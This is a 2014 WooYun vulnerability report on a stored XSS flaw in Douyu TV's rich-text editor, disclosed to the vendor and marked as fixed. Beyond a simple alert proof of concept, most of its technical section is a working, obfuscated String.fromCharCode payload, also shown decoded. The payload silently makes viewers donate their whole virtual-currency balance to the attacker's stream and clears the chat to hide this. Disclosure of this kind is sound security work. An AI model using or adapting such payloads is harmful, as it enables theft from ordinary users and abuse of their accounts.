当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066606

漏洞标题:据说斗鱼TV鱼丸能换人民币?那就XSS吸光观众鱼丸!

相关厂商:douyu.tv

漏洞作者: N1ghtBird

提交时间:2014-07-03 00:41

修复时间:2014-07-03 22:08

公开时间:2014-07-03 22:08

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:10

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-03: 细节已通知厂商并且等待厂商处理中
2014-07-03: 厂商已经确认,细节仅向厂商公开
2014-07-03: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

刚看见斗鱼在做活动,观众送鱼丸主播领现金。
那就猥琐的吸光观众的鱼丸吧~

详细说明:

富文本编辑器的XSS过滤没有考虑到浏览器的容错特性。
在某些现代浏览器内非规范标签是可行的。
所以,构造以下代码(CHROME)。

<img  src="x" onerror ="alert(1)"


20140629021812.png


20140629021909.png


成功执行。
那么如何猥琐的刷鱼丸/刷人民币呢?
开个直播间,设置个诱惑的标题配合封面图再加上我们的猥琐代码比如这样:

<img id="xss"  src="x" onerror="eval(String.fromCharCode(36,40,39,35,120,115,115,39,41,46,114,101,109,111,118,101,40,41,59,115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,118,97,114,32,110,117,109,61,36,40,39,35,121,119,116,105,116,39,41,46,116,101,120,116,40,41,59,118,97,114,32,100,97,116,97,61,91,123,110,97,109,101,58,39,116,121,112,101,39,44,118,97,108,117,101,58,39,100,111,110,97,116,101,114,101,113,39,125,44,123,110,97,109,101,58,39,109,115,39,44,118,97,108,117,101,58,110,117,109,125,93,59,118,97,114,32,100,97,116,97,95,115,116,114,61,83,116,116,101,110,99,111,100,101,40,100,97,116,97,41,59,116,104,105,115,77,111,118,105,101,40,39,87,101,98,82,111,111,109,39,41,46,106,115,95,103,105,118,101,80,114,101,115,101,110,116,40,100,97,116,97,95,115,116,114,41,59,99,116,114,108,99,108,101,97,114,40,39,99,104,97,116,95,108,105,110,101,95,108,105,115,116,39,41,59,99,111,110,115,111,108,101,46,108,111,103,40,39,87,111,111,121,117,110,39,41,59,125,44,49,48,48,48,41,59));"
//展开
$('#xss').remove();
setTimeout(function () {
var num = $('#ywtit').text();
var data = [{
name : 'type',
value : 'donatereq'
}, {
name : 'ms',
value : num
}
];
var data_str = Sttencode(data);
thisMovie('WebRoom').js_givePresent(data_str);
ctrlclear('chat_line_list');
console.log('Wooyun');
}, 1000);


搞定~

漏洞证明:

20140629031105.png

修复方案:

过...滤....

版权声明:转载请注明来源 N1ghtBird@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-07-03 00:47

厂商回复:

此bug已于前两天修复!谢谢!

最新状态:

2014-07-03:此bug已于前两天修复!谢谢!